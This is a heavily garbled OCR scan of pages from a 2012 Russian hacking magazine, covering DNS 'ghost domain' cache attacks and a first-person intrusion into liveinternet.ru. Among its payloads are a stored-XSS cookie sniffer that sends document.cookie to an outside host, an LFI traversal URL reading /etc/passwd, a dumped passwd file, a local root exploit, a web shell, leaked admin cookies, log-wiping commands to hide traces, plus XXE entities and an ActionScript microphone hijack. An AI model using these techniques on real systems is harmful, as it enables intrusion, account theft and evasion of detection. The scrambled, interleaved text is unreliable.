;; QUESTION SECTION: ;; QUESTION SECTION: ;r88tw8rm.com. IN
;security.buxoro.uz.
IN
А
А
;; ANSWER SE(TION: ;; ANSWER SECTION : r88tw8rm.com.
;;
AUTHORIТY
security.buxoro.uz. 684888
IN
А
IN IN
NS NS
684888 684888
;i ADOITIONAL SECTION: ns1.r88tw8rm.com. 684888 ns2.r88tw8rm.com. 684888
ns1.r88tw8rm.com. ns2.r88tw8rm.com.
91.212.89.7
пись, по-видимому, будет 86 400 секунд, то есть ровно сутки. Далее
удаляем наш сабдомен и снова nроверяем значение dig'oм :
$ dig security.buxoro.uz
IN IN
А А
31.222.185.186 31.222.185.186
Отлично, IР-адрес 31.222.185.106. Теперь используем dig для
определения записей на серверах Гуrла [8.8 .8.81 :
@8.8.8.8
;; QUESTION SECTION: ;secur ity.buxoro.uz.
$ dig r88tw8rm.com
А
Так, security.buxoro.uz соот ветствуе т 91.212.89.7, и жить эта за
SECTION :
r88tw8rm.com. r88tw8rm.com.
IN
86488
31.222.185.186
IN
А
;; ANSWER SECTION: security.buxoro.uz.
IN
86112
А
91.212.89.7
А_ @8.8.8.8
Ync, nриехали! Заnись о нашем ресурсе осталась в Гугле даже ;i QUESTION SECTION : ;r88tw8rm.com. IN
nосле удаления сабдомена, сократился лишь TTL. Если же мы про
верим содержимое кеша на собственном сервере, то по nонятным
А
nричинам к нам ничего не возвратится:
; ; ANSWER
SECТION:
r88tw8rm.com.
86488
IN
А
$ dig security.buxoro.uz
31.222.185.186
Здесы 86400- зто ТТL, пара метр, определяющий время жизни нашей записи на сервере 8.8.8.8. Попробуем снова, чтобы убедиться
;; QUESTION SECTION: ;security. buxoro.uz .
IN
А
в том, что наш TTL не вечен. По идее, его значение должно умень
;;
шиться:
AUTHORIТY
buxoro.uz. r88tw8rm.com.
86356
IN
А
31.222.185.186
SECTION: 1888 IN SOA ns.buxoro.uz. info.buxoro.uz. 2818892482 18888 3688 684888 18888
Действительно, теnерь его результат равен 86 356 [на 4 секунды меньше!. В случае если домен определяется как вредоносный, его
ления кеша конкретного сервера DNS . Как уже говорило сь выше,
удаление из глобального nространства доменных имен происходит
домен может быть nолностью удален из глобального простран
в два этаnа . Первый заключается в удалении его заnиси из TLD на
ства доменных имен, но при этом оставаться <<жив ым ». Если нам
В данном случае уязвимость присутствует в политике обнов
серверах, а второй- в ожидании обнуления nараметра TTL на всех
каким-то образом удастся увеличить значение TTL, то мы сможем
DNS-cepвepax, где содержится заnись об этом домене . Настало время
сохранить жизнь и нашему ресурсу.
nерейти вnлотную к самой атаке.
Далее рассмотрим еще один nри мер:
1. Регистрируем новый сабдомен, доnустим, testns.buxoгo.uz. 2. В NS1 прописываем <<tes tns . buxoгo.uz>>, в NS2-<<ns2.buxoгo . uz>>, Для nримера я создал сабдомен security на сайте buxoro .uz. Про верим запись о новосозданном сабдомене securit y.buxoro .uz:
в NS3- << ns1.buxoгo.uz >>.
3. Мы можем nодтвердить, что testns.buxoгo.uz был успешно уста новлен в качестве имени сервера, отnравив заnрос на несуще
$ dig security.buxoro.uz
@8 .8.8 .8
ствующий сабдомен, как nоказано ниже :
ХАКЕР
066
EPIDEMZ.NET
05/160/2012
Атаки на DNS: вч ера, сегодня, завтра
$ dig @h.gtld-server.net. security.buxoro.uz
ghost . buxoro. uz 46488 IN NS testns.buxoro. uz testns . bu xoro . uz 46488 ~ IN А 91.212.89.7
~;
QUESTION SECTION : ;sec ur ity . bu xoro.uz.
IN
Следующим шагом будет изменение имени NS-cepвepa
А
на что-то другое , например te st2. bu xo гo . uz. И с польз уя тот же
AUTHORITY SECTION: buxoro . uz. 684888 ):N bu xoro . ul". 684888 IN bu xoro.uz . 684888 IN
сервер DNS 14.2.2.41 , производим , как и пр еж д е, уже о пи са н ный
J>
ADDIТIONAL
J >
NS NS tjS
запрос на запись серве ра имен. П осле э т ого со держи мое нашего
ns1 , buxoro.uz. ns2.buxoro.uz .. testns ·~ buxoro , uz.
кешаперезаписывается и д елега ция данны х уже должн а выгля
д еть с лед ую щи м образом:
ghost.buxoro . uz test2.buxoro . uz
SECТION:
ns1.buxoro.uz. ns2 . buxoro.uz. ns2.buxoro.uz. testns.buxoro.uz.
684888 684888 684888 684888
IN IN IN IN
А
А А А
91.212 . 89 . 7 91.212.89.7 91.212.89 . 7 91.212.89.7
86488 IN NS test2.bu xoro.uz 86488 IN А 91.212.89.7
Обрати вн имание, что новые данны е при дел ега ции имеют новое
значение
TTL. Если этот процесс повторяется н еско лько раз, можно TTL п остоянным и всегда о тл ичным от нуля. Чт обы
держат ь значение
успе шн о вып олни ть эту атаку в более широком диапаз оне, можно
4.
пр о и з в о д ить за про с ы через у я зв имые DNS- cep вepы д о тех п о р ,
Создаем е щ е о дин саб домен под именем ghost .b uxoгo .uz. По с ле этого берем ко нкретны й, а приори с читающийся уяз вимым сервер
пока выигранное вр емя не будет д остато чным . Зд есь так же нужно
DNS и используем егодля запроса сабд оме на:
отметить один дов ольно интересный момент: если атака пр оисходит
$ dig @4.2.2.4 ghost.buxoro.uz
хоро ш е го ресурса через обыч ны е lне д елегированные l DNS -cepвepы средней/малой з начи мости, то эти серверы автоматически заража
; ; QUESTION SECTION : ; ghost.bu xoro.uz. IN
ются вне зависимости от того, уяз вимы они или нет.
на д е л е гир ован ны е сер в еры и ид ет попытка р езо лва наш е г о н е
А
ЗАКЛЮЧЕНИЕ ;; ANSWER SECTION : ghost.buxoro.uz. 86112
П осле А
IN
20 10 г о д а п осте п енно у шливн ебы тие многие пр об л е м ы, DNS -
связанные с экс пл уатац ией тривиальных уязвимас т ей в
91.212.8~.7
cepвepax. А все благодаря сре д с тва м пр о вер ки ц е л ос тн ости
DNS SEC, которые начали набирать обороты и внедряются уже по всеместно. « Безопа с ный DNS » IDNSSECI использует электронную
Те п ерь мы з н аем, что в кеш е DNS-cepвepa прои зо шла дел е гация
данных. Те п ерь с нов а можно смело удалить сабдомен. При этом
цифровую подпись с п ос тро ением цепочки доверия для опре д е
делегация д анных д оме на будет и меть п ос т о янн о уме ньшаю
л ения цел остности д анных.
щий ся
TTL . Так
как мы знаем, что делегация им еет данные
Те оретически применение
NS
DNSSEC может с в ес ти ус пешно сть
о записи д омена и имени се рв ера, все это можно представить
атак отравления кеша к н улю . Однако из моей предыдущей статьи
в следующем виде:
мы уже знаем, что ЭЦП «уже н е торт» и существуют с п особ ы
ghost . bu xo ro.uz 86488 IN NS testns.buxoro.uz testns.buxoro.uz 86488 IN А 91.212.89.7
ских функций, д а и применяется «защищенный
ген е рации ЭЦП и к лючей с пом о щью ко ллизий к риптографиче
DNS» п ока е щ е
не везде, так как для нормального функционирования требуется тотальный переход всех з в еньев DNS- системы на новый у ров ень.
По сле того как дом е н бы л удален и истекло время жизни
TTL, н а
Так что, пока есть время, д ерзай! Н е во вре д , коне чно , а для все
общего блага :1 . :х:
блюдается вот такая картина :
ИНТЕРЕСНЫЙ СЛУЧАЙ С BIND В середине ноября
2011
•
Общая матчасть по
DNS: bjt ly/9yAzH2;
года разработчики консорциума
ведущего разработку самого популярного в интернете
ISC, DNS-
Основную тревогу вызывает именно неверная работа системы , которая при получении определенных клиентских заnросов
• провернем свой DNS на вшивость : bjЦy/wDsTVI;
• видео по DNS cache poisoning:
cepвepa
BIND, опубликовали данные о наличии серьезной уязвимости в BIND и призвали пользователей как можно
формирует область кеш-памяти, при nоследующих запросах к этой области происходит выдача неверных результатов
blЦy/61ERЭt;
скорее обновить используемую ими версию ПО. Согласно
с доменными записями.
•
сообщению
ISC, ряд
« непонятных » сетевых событий могут
Технически у новых версий
BIND 9 есть
встроенные
презентация
с оnисанием
средства защиты , и в будущем кеш все равно был бы обновлен
bailiwicked-
версии создает кеш-память с неверными доменными
(если бы не обратная совместимость), но , учитывая важность
blt.ly/xBhnuC;
записями, а это может быть использовано для подделки
верной работы DNS-системы для современного интернета , этой
привести к тому, что программное обеспечение
BIND
9-й
доменных адресов . Кроме того , было установлено, что
проблеме разработчики nрисваивают критический уровень
передача серверу определенных служебных данных
угрозы
приводит к краху работы программнога обеспечения . Также
ICVE-2011-4313). Кроме того , дополнительную опасность представляет то, что сами разработчики BIND так и не смогли
в сообщении
полностью описать все возможные сетевые события и запросы,
ISC
говорится, что какими-либо служебными
cnnoитoв :
• познавательная статья об атаке Дэна Камински:
blЦy/ЭylgeV;
• китайская
настройками исnравить выявленные ошибки нельзя, так
которые приводят к сбою в работе кеш а DNS-cepвepa . После
презентация на тему
как проблема кроется именно в коде сервера и устраняется
упомянутого в статье исследования Сети на уязвимость
только через обновление. Подвержены уязвимости версии
Domaiп
Ghost Domain Names: bit.lyiwOUU01 .
BIND
ХАКЕР
9 . 8 . 1-Р1, 9.7.4-Р1 ,
9.6-ESV-R5-P1
и
9.4-ESV-R5-P1 .
Name
обнаружилось, что более
72%
Ghost
машин до сих пор
используютуязвимые версии DNS-cepвepoв . Такие дела .
067
05/ 160/ 201 2
EPIDEMZ.NET
взлом
Cyber-Punk icyber-punk0xakep.ru, OxOOOOed.coml ·
...
и,
ка!
ИСТОРИЯ ВЗЛОМА ПОПУЛЯРНОГО БЛОГОХОСТИНГА
LIVEINTERNET.RU
В ноябре прошлого года я обнаружил интересную уязвимость на одном из крупнейших порталов рунета
сайте liveinteгnet.гu . Она предоставляла возможности для заливки веб-шелла, доступа к БД с пользователями и
даже получения привилегий рута на сервере! Об истории открытия и развития этого бага сейчас и пойдет речь.
ХАКЕР
068
EPIDEMZ.NET
05/160/2012
Прощай, Лирушечка!
КОРОТКО О ГЛАВНОМ Для начала нельзя не сказать пару слов о самом ресурсе
Liveinteгnet.гu [он же лиру или лирушечка]. Многие используют его как сервис для сбора и анализа статистики посещений сайта, хотя
это еще и огромная благосеть со своим мылом [основано на
Google Apps] и поисковой системой . Но, как известно, даже на круnных ре сурсах вполне могут встретиться уязвимости вроде банальных XSS или LFI. Собственно, решение о проверкезнаменитой лирушечки на уязвимости пришло спонтанно . Мне стало интересно, защи~ен ли такой круnный проект от возможности взлома на достаточно простом уровне? Итак, для начала мы с приятелем начали руками тестировать данный ресурс на
XSS . Спустя
пару часов нашей ма
ленькой командой были найдены две па сси вки и две активки. Одна
активка находилась прямо в личных сообщениях [то ест ь стоило о тправить письмо любому пользователю , как у него в браузе ре вы
полнился бы зловредный js-код] . Другая активка присутствовала в настройках пользователя [о ней речь пойдет немного ниже] . Дальше мы составили простую схему захвата печенек админа сайта:
1. Криптуем код снифера . 2. Отправляем личное сообщение администратору [причем да же не обяза тельно , чтобы он ответил на наш месседж, достаточно про
сто открыть сооб щени е ] . З.
Когда администратор заходит в << Новые сообщения», выnолняет
Конфиги БД
ся наш зловред.
4.
Pгofit!
<sc ript > document.forms( e ].mynames.value= 'вaлeз,
Недолго д ума я, мы воплотили наш коварный план в жизнь
[здесь я не буду описывать схему проведения
XSS и код снифера,
так как эта тема уже неоднократно поднималась в журнале]. Через день админ открыл наше личное сообщение, и мы получили заве т
валезу,
валентин любимов, валеза,
валезом' ;
img = new Image(); img.src = " http: // sniffer.ru/ sniff.gif?" +document.cookie; </script>
ные печеньки на мыло . Вот тут-то и началось самое интер ес ное. Строка со значениями << валез , валентин любимов , вале зу,
вале за, валезом» [Валентин Люб имов Вставив полученные печеньки в браузер и обновив страницу,
aka ValeZ- создатель и ру
ководитель Liveinteгnet.гu, известный веб-nредпринимательl была
я у видел то , ради чего сто ило так стараться,- внизу каждой
нужна для того, чтобы скрыть злов ред и по казать администратору
стра ницы выводилась многочисленная отладочная инфа. По смо
оригинальное значение поля <<Иска ть упоминания» в его профайле .
треть на вывод SQL-зanpocoв при просмотре личных сообщений ты
Таким образо м, даже если бы админ изменил па роль, то к нам на
можешь на соответствующем скриншоте. Дальше , после детально
снифер все равно пришли бы его кукисы.
го изучения полученной информации, я заинтересовался, можно ли протроянить админку через вторую активк у, которая находилась в
НЕ
ОЛГИИ ПУТЬ К ВЕБ-ШЕЛЛУ
настройках пользователя в опции << Искать упоминания» и позволя
П осле усnешного создания <<зак ладки >> в аккаунте администратора
ла подключать js- файлы с посторонних хостов? Содержание моего
я продолжил изучать ресурс и набрел на раздел << Приложения ».
коварного сценария было простым:
В озможно, изначально он задумывалея как аналог nриложений
root:x:O:O:root:/root:·bin,bash bin:x:1:1 :bin: bin: 'sbin.'no\ogin daemoп:x:2:2 : daemon: isЬiп~ sbin пologin adш:x:3:4:adm: ·,·ar · adm: 'sbin nologin lp :x:4:7:1p :.·\ar 'spool-lpd.:lsbin 'nologiп S}11c:x:5:0:sync: 'sbin: biп 's }11C shutdO\\'Il:X:б :O: shutdoiYn: sЬiп: sbin slшtdo1Yn lшlt:x:i:O:halt: sl5in~ 'sЬiп halt mail:x:8:12:mail \·ar 'spool mail·sbin пologin пе,п:х:9: 13:пe\\·s:: etc nе1п: uucp:x: 10: 14:uucp: , .ar spool uucp: sЬiн nologin operator:x: 11:O:operator:.rootosbin нologin gaшes:x: 1 2: 1OO:games:-'usr' gaшes: 'sbin·nologin gopher~x: l3:30:gopher:-Yar.'gopller: 'sЬiпнologin ftp:x: 1~:50:FТР (; ser: ,·ar·ftp: 'sbin:nologiн nobody:x:99:99:!\obody:•: 'sЬiп~'nologin rрш:х:З 7:3 i:Aar·hЪ 'rpm: 'sbin nologin nscd-x:28:28:':\SCD Daeшon: :. sbin nologin ,·csa.-x:69:69:~1rtual conso\e meшory 0\\1\er:'de' -. 'sbin'nologin шailnuU:x:4 7:4 7::-,·ar spool mqueue: sbin nologin smшsp:x:5 1 :51 :: ,.ar spool mqueue ~ sbin nologin rрс:х:З _J 2:Rpcbind Dаешон: :Уаr·hЪ rpcbind .'sbin·nologin tcpdtunp:x:i _ :iЬ ':/sbin 'nologitl dbus :x:8 1:8 1 : Systeш message bus:: sbin·nologin sshdx:74:74:Pmilege-separated SSH JYar 'eшpty sshd:!sbin'nologit1 rpcuser:x:29:29:RPC Sef\ice l"ser~\·ar hЪ rl!s:.'sbin uo\ogit1 ш·snobody:x:-H9~9 6i294 :~29~967294~>\non}1llOUS ~rS L' serAar hЪ 'nfs:•sbin'rlologin haldaeшon.-x:68 : 68 :НAL daeшon> :: sbin nologit1 mysql:x:2 i :2 i ~lySQL Sef\·er~ ,.ar lib mysql: bin bash apache:x:48:48Apaclle:\•ar•\I'\1'\Y:'sbin.'nologin пtp:x:38:38:::'etc :ntp :/sbin· nologitlle,~x: 50 1:501 :: ·hоше \е1~ binЪash kосшос :х:50 -:5 02:: hoшe 1kocmoc: bin:bash liru:x:503:503::'home •liru:'Ьin,bash zabЬi:":x:4 99 A 98:ZabЬix ).1!onitoring System: \·arhЪ zabЬix: 'sbin nologin gmail:x: 504:50~: : home gmail: bin bash iЬra,·o:x: 505 : 505 ::.Ьome ibra1·o: Ьi11 bash 1ighttpdx:~98 :4 9 :lighttpd 1\·еЬ sef\·er: Sfl''\\'\\'\\' Jighttpd sbin nologin postfix:x:89:89:: ,·ar· spool postfix: sbin nologin todo :x:506:506:~ home-todo: Ъin1 basl1 cacti:x: 497:496:: 'usr·share 'cacti:/sbin·nologin шunedл:25:25:X ашеd: \-ar·named 'sЬiн• no\ogin aYalu:x: iO: 70~9salu daeшor1: /: :'sbin 'нologin xfs:x:43:43:X Font Sef\·er: ietc ~'li:ll fs: 'sbin'nologin шunill:x:496 :~9 5 :).1!unill user:Yar Jib mшlin~ sbinнologin testdesign:x:50 7: 507::'hoшe testdesign: bin bash opensoci~-.;:508:508:: home 'opellSocial: binЪash рЬ:х: 509 : 509: : home рЬ: bir1 bash хаsап:х:5 1 0:510:: hoщe~'xasaп:Ъirl·Ъash co!lllneнts :x :51 1 :511: :-l!oшe 'conunents:Ъin,bas!Jidap :x:55:55:LDA.P (; ser~· l-ar·lib Jdap: bir1·false back:'llp:x:512 : 512::-l!oшe · back"Up : 'Ьirl bash coшlter:x:5 1 3:513: : home •'coUilter: binЪash F atal error: Class ' .. 'JJ.Jetc 'pass\\•d' not foUild in /homelopensociallapps/index.pbp on Jine 14 LFI
в
apps.li.ru
ХАКЕР
069
05 /1 60/2 012
EPIDEMZ.NET
взлом
WSO справами
рута на сервере
Интересные таблицы в БД
li.ru
GIVE
«В Контакте>>, «Одноклассников>> и подобного, но в дальнейшем
МЕ
MORE!
превратил ся в банальную систему для отправки подарков и
Итак, у нас уже есть ш е ллнасервер е li.гu [что не могло не радо
осталь ны х при мочек, которые так нравятся девочкам. Но что самое
вать), од нако нужно было двигать ся д аль ше. Как пока зал вывод
ин т ересное - приложения задействуют данные само го пользо
команды
вателя , а также в них имеются многочисленные активки [но это, естественно, меня уже интересовало в меньшей степени).
uname
-а
Итак, немного поизучав приложения и их взаимодействие с
сер вером, я нашел
LFI
на домене apps.li.гu. Вывод ошибок был от
ядро- старое, и его вполне можно было пор ута ть:
ключен, так что пришлось действовать вслепую. Сначала я подста
Linu x r06 . rax.ru 2.6.21-1.3228.fc7 #1 SMP Tue Jun 12 14:56:37 EDT 2007 х86_64.
вил файл с расширением, но о н не проинкл удился, и тогда я решил воспользоваться нулл-байтом. Он-то мне и помог проинклудить
всем известный /etc/passwd: Что я, в принципе, и сделал, используя известный эксплойт
vmsplice:
apps.li.ru / inde x. php?s= . . / .. / .. / . . / . . / .. / .. /etc/pa sswd%00 Уязвимость была дов о льн о банальной, что меня удивило. Кто бы
sh-3.2$ gcc l.c s h- 3.2$ . / 1
мог под умать, что на столь крупном портале могут сущес твовать
1
-о
ба ги, которые даже новичками не должны допускаться. Н о дальше
sh-3.2# id uid=0(root) gid=0(root) groups=48(apache)
-больше' П осле ус пе хаснулл-ба й том я попробовал залиться
через /pгoc/self/eпvi гoп и /pгoc/self/cmdliпe, однако все мои попыт ки не увенчались ус пе хом . Необходимо было найти действительно
Дальше, чтобы у пр остить работу с гооt- пр авами, я восп оль
полезный файл, позтому я и вспомнил о возможности реализации
LFI
зовался модифицированным шеллом WSO [ Ьit .l y/ GCa7 x M ) и через
через лаги веб-сервера:
несколько минут мог свободно рулить всем сервером через веб.
apps.li.ru / index.php?s= .. / .. / . . / .. / .. / .. / .. / apache / logs / error.log%00
Затем я нашел конфиги, из ко т орых можно было узнать параль рута
Кста ти , уже по с ле заливки я решил за глян у ть в сам уязвимый файл:
/home/back up /do-back up.sh
$bShowDefault $show $ev
false; Func :: POSTGET( 's' ); Func : :POSTGET( 'ev' );
писанные в скрипте, было бы достаточно проблематично. Вообще
$co nten~
' ' •
от БД
mysql.
Это был Ьаsh-скрипт для бэка па:
Кстати, надо отдать должное админам- сбрутить па роли, про на сервере было еще много любопытного, но я решил остановить
,
ся, перевести дух и детальнее изучить БД . Б аза оказалась д оволь но интересной. Весила она много, поэтому я решил просмотреть
if (file_exists(SITE_PATH. 'modules/' .$show. '/' .$show. '.class.php' )) А:рес фi1 ЙII il И[KiiTD уnоминанн" В .-ь ах no.ICXI )""'ОМ ·' --1 - .'Й ~с
include (SITE_PATH . 'modules/' . $show. '/ ' .$show. '.class . php' ); $oClass = &new $show; $content = $oClass- >dispatcher();
Sit• m•p atwa ro .:l м еа ник .а http: //www.v•la:.ru/sitem
1 "VХЮ:
:U '(.'C.'JOI Фllчe--.T I:),• S.X,. "'Q!ofl' loiO IOIII• ol
l &.i U , ~i8MT II !ol ,; ю611,..0: 1, I Li i :JY, 8iLi U il , I U.t:~'
:.""""" ''"'" ':.:исl.::.....еs - .ю~r .. т а~
CIIOIOC~ eн -.~ (- ~~
u-.,r v-o}
}
else $bShowDefault
n еревод есе х днеенико в с а й тl!l
true;
на но в :.:й npoф и ль </ s mllll >
</ font ></ td >
<l t r> -- >
.,. <t r> Как видишь, в зто м коде пр осто- напросто отсутствует фильтра ци я . П озже, когда я сооб щил администратору ресурса о найденных у язвимо с тя х, он добавил в этот исходник вот та кую строчку:
<td biCOlor c":;DFDFDF ">...</ td > -.. <td bgcolo r == "±tOFDFDF ">
to
-..
< ~ont
..:&ce • "v e r dllnll~
<input t ype•" text "
ll rilll 1 hel vetice "> naтe • " my nAmes " v a~lue • "\"
si:e • "SS ">
<spAn id .,"\" "" si:e =.. SS"></ spAn >
if (($show) && {
...
}
preg_match( '/ л [a-z\-\_]+$/i' ,
$show)) nротрояниваем админк у через вторую активную
XSS
ХАКЕР
070
EPIDEMZ.NET
05/160/2012
Прощай, Лирушечка!
IP
адрес:
Бра узер:
:
:.lozllla s .o
Хост
·
(\\" шdo"·s :-:т
· ·: ,lата : оs:~6:зз·о:- . о ~ .1 ~ 6.1) Apple\\"ebKit ·sзs-7 (кнт:.!L. l1ke Gecko) Chrome 1 6 . 0 . 91~-~~ Safar1 ·sзs-
~··;:~а.,енный п орт : 5~494: Ти п сое;:~ инения :
Отк,· ;~а п рише ., Строка запроса:
Вся информация nредоставлена исключительно в
: http:j f \п,.,,..li \'einternet. rufjournal_settings .php">journalid;739
ознакомительных
Jang= ru
целях . Ни редакция,
bbadшinon = t
ни авторы не несут
bbuserid ; 739 bbpass"·ord ; -57сазt9сезе~
ответственности за
·· .'r '.:,
любой возможный
~: • Р ;>..tc8e 7
bbusernaшe = V"aleZ
вред, причиненный материалами данной
locid ; o
статьи.
adY- uid ; btЗ94-::ebbз7 - Зtft7
chbx =guest Первый вариант
Кукисы админа
запуска имени
Статнст..а•
~·
nо.м:х;-' 1"10'4та • - Знаmмстм • - ~•
Livelnternet
~ - --
~-------
-~-__..~~-
---------~- ~~~
дневники
WSO от
root:
goo.ql/hLQHC . Второй вариант, который мне, в отличие от первого, помог:
goo.gl/oSXc6. личные сооб щен ия О Новое сообшеJ.ше
Еще один вариант, от Вооlеап:
qoo.qi/D!Jzy. ~lщeu:
В ходящ11 е
Не n ео"1 11 Танн ме
shkoda lana
RеГ11: CooбweНIIe от оазоаботч11ка!
7 F§Ьruary 2012 • 16: 12
Cn.ICIIбo
Пашоt : ~ На нашем диске ты найдешь видеоро
лик с
В11куся
Proof of Сопсерt
получения прав рута
)(
на сервере
coo6w~н1tii: 1
li.ru.
Re[ 21: Сообшен11е от оазоаботчt1ка!
дернанова
7 FeЬruJ~ry 2012. • 16: 11
В процессе пентеста
)(
не забывай про файл .bash_his-
сообw~нщ"i : 1
tory: зачастую Очень нvждаюсь
Мы в аккаунте администратора
111
в
нем находится
вaweii nor-towн!
много полезной информации.
ValeZ
только лишь ее малую часть. Как я уже писал выше, почта li.гu
хостится в Google Apps l g . l i veiпte гп et . гu - это почтовый сервис проекта]. Однако вся авторизация проходит именно через сам li.гu, а кукиустанавливаются скриптом
setcookie .php, находящимся на
Как ты уже понял, в этот таинственный файл в режиме онлайн записывались РОSТ-запросы с попытками авторизации и реги страции пользователей сайтаl Таким образом мы спокойно могли бы перехватить сессию или пасс юзера, которые записывались в
порутанном серваке. Таким образом можно было с легкостью пере
лог в открытом виде, даже без получения доступа на сервер ' Осо
хватить сессию и поиметь около 100к ia может и больше] аккаунтов li.гu, что называется, не отходя от кассы:] . Не менее занима тельными были таблицы Useгs, liгu_useгs и gmail_cookies !снова смотри на скриншот]. Также я обратил внимание на один текстовый
знав, что похек вышел полным, окончательным и бесповоротным,
файл, который лежал в корне сайта и был доступен извне,- там
sh-3.2# ./log -u root
я решил остановиться и убрать за собой. В этом мне помог лог
клинерот ShadOS lgoo.gi/Fe5nj ]: -а
100.100.10.1
нас ожидала очень любопытная ин фа:
[ . . . пропущено много информации ..._ $_POST: Array ( [logiп] => NickName [domaiп] => li.ru [password] ;> tut_pass [password_re] => tut_pass [паmе]
=>
]
[
ок
]
cat /tmp/t mpfileMdZUcC > /etc/httpd/logs/error_log apache logs cleaпiпg
[
ок
]
Оксана
.. . пропущено много информации • • . ) IP: Array ( [ext_ip] => 91.ххх.ххх.236 [iпt_ip]
ок
cat /tmp/tmpfileZoSXYX >. /var/log/secure secure cleaпiпg
=>
91.ххх.ххх.236
Так закончился этот занимательный взлом крупнейшего IPR 9, ТИц 43 000] ресурса liveiпteгe пe t . гu . Естестве~ но, обо всех багах мы сообщили администратору портала, после чего все найденные уяз вимости были оперативно закрыты . Как видишь, даже такие попу лярные и авторитетные проекты, как любимая многими лирушечка,
вполне могут иметь банальные la иногда и просто глупые] баги. :х:
ХАКЕР
071
05/160/ 2012
EPIDEMZ.NET
EPIDEMZ.NET
Convert Нех То Decimal and Binary : Insert НЕХ
Value
Decimal Binary
414с4е495 f4 dб2бсбЬ
24887835378792 4 28000 0001010 1100 10 11000110 10110100 110
Conversion Code · Chart
1
1
IDECIМAL I[[JOJ[IJ[IJOJ[IJ[I]o:Jo:J[[J[JQJШJ[illDIJШJDIJ
1 1
НЕХ
IUJOJCIJCJ:JOJo:::JCIJo:Jo:JUJCIJCIJ~CQJCIJ[IJ
BINARY lloooo llooot lloo10 IIOOll ll otoo llo10l llot10 I@IillllOOO IItool ii1010 I\IQIIJi l l OO I\IШIJII!IQJIJIШ
Б и тово е представл е н и е и дентифи к атор а сесс и и . П е р е ставля ем по б ит у и проверяем
05:13
06:01
та, если нет-страница авторизации.
в этот проект и написанному на
Нашелся один и д ентификатор сессии,
положили, что если засунуть в хранимую
отличающийся от нашего на
свою флешку с другого домена, то можно будет
1 бит.
Но при
мы пред
Flash,
этом функциональная часть кабинета
подключиться к микрофону о п ератора колцен
уменьшалась, теперь внутри вообще
тра и получить оттуда какую-нибудь полезную
ничего не работало. Далее следовали
информацию. Сам по себе процесс атаки не от
мучительные раздумья и попытки понять,
личается простотой, так как
почемужетак происходит.
все гайки и без дополнительных диалоговых
Adobe уже
окон микрофон не включится. Но, как уже го
было перебрать от О до
ворилось ранее, этот проект имел функционал
посмотреть,
что будет. Офигетьl Байт кодировал при
pr i va t efun ction checkCo nn ect(e:Net Statu s Eve nt ){ good=e .info . code==
голосового чата, а значит, операторы колцентра
вилегии пользователя и в одном значении
привыкли к предупреждающему окошку
открывал функционал администратора
Таким образом возникало вполне оправданное
с возможностью загрузки произвольных
предположение, что они подтвердят использо
файлов и остальными плюшками! Missioп
вание микрофона и на другой странице [там, где
complete :].
у нас находится хранимая XSS]. Н иже находится
Во второй истории я расскажу про аудит систе мы п оведения онлайн - кон
е ен
Flash.
• (good){ .attac hAudio( mic ) ; -~ · puЫi s h( s tr ea m ,
ActionScгipt-кoд, реализующий эту задачу:
n~ u~
• •
..
11 1
);
}}
t .. • .
ий. Однако
для работы с микрофоном
pr i va t efunctioninit() : { nc =newNetConn ection; nc . co nnec t ( ); mi c=M i cr op hone . get Micro phone ( ); mic . rat e= nc.addE ve ntlist ener ( Net Statu s Eve nt.NET_STATUS,c heckConnec t );
закрутил
Тот байт, куда входил этот бит, решено
255 и
ActionScript
XSS
..
... 1 •
www •
value
ALNI _ MЬikelqNpzOЗYGbfpOz8aYcZj eRtg
domain hostOnly О path storeiD secure
1 О
(
J
httpOnly
U
session
1)
expirationday
1
Time 16
Шii!)th
,
2
1
EPIDEMZ.NET
уеа г
: 11
20 14
Полный п им е
! 7> DDCТYPE
test /
<!ЕNIТТУ ххе-1 <!ЕNIТТУ ххе-2 <!ЕNIТТУ ххе-3
<!ЕNIТТУ ххе-4 <!ЕNIТТУ ххе-5 <!ENIТTY xxc-G1 <!ЕNIТТУ xxe-G2 <!ENI FTY xxe-G3 <!ЕNIТТУ xxe-G4 <!ENIТTY xxe-G5
SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH SYSTEH
'\\192.168.1.1\CS'> '\\192.168.1.2\CS'> '\\192.168.1.3\CS'> '\\192.168.1.4\С$'>
'\\192.168.1.5\CS'> ' \\1G .G . G.1\CS'> '\\ 1G.G.G.2\C$'> '\\lG.G.G .3\CS'> '\\ 1G.G.G.4\CS'> '\\1G .G. G.5\C5'>
Достуn к камере и микрофоttу
\VIVIY. ·
rupa.com эаnра
ивает достуn к
ва им камере и микрофоttу. Если вахать · Разреш ить·. то вас моrут
за nисывать.
EPIDEMZ.NET
MUGELLO - HYPER SILVER
VAIRANO
INDY 500
SILVERSTONE
NARDO
ROTARY FORGED WHEELS
MALLORY
CARTHAGE
SEPANG
ZOLDER
NURBURGRING RF
ИНТЕРНЕТ МАГАЗИНЫ: WWW.allrad.ru
Москва ул Электродная д
еклQма
14/2 (495)231-4383 Москва ул Островитянова вл.29 (499)724-8044 С -Петербург Екатерининский проспект д. 1 (812)603-2610
STOWE
JARAMA
SNEПERTON
DON INGTON
WILLOW
STRIP
rokola.net
Оптовый отдел
Розничные магазины
BROOKLANDS
LONDRINA
CADWELL
INTERLAGOS RF
WWW.
МАХ
VALEN CIA
Москва ул Электродная д. 1 О стр
(495)23 1-2363 www.kolrad.ru
EPIDEMZ.NET
Интернет магазины
32
www.allrad.ru (495) 730-2927 1368-8000 / 672-7226 www.prokola.net (812) 603-2610 / 603-2611
взлом
СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ
i411"91
----~~~
·--··...
Автор:
Автор :
xcedz URL:
URL: Ьit . ly/gd З Ja o Система : Windo ws
Система:
Ami t Malik aka Dou Bie ZerO URL: securityxploded . co m/zexplo. php
*nix/win
Система:
Ьit.ly/GHeVse
....-~Fio
~
Автор:
sx
*nix
Dl rectory Scanner Rep4
~
-
=~""" ~·
t• ... «<l)o
lwlol
f' цll o
Наверняка тебя неоднократно напрягала
Zexplo Toolkit- это
рутина при работе с
предназначенный для проведения различного
организации очень часто бывает полез-
sqlmap
из консо ли. Теперь,
питонавекий скрипт,
При проведении пентеста какой-либо
с появлением GU I- интерфейса для зтой попу
рода пентестов. Помим о простого, но
ным уз нать о том, какие с л ужбы катало г ов
лярной Н-тулзы, эксплуа т ация SQL-инъекций
о дновременно функционального интерфейса,
крутятся н а исследуемом сервере/серверах,
станет во много раз проще и приятн ейl
Zexplo
Итак, сам
поведенческих модулей, предназначенных
важная информация об авториэационных
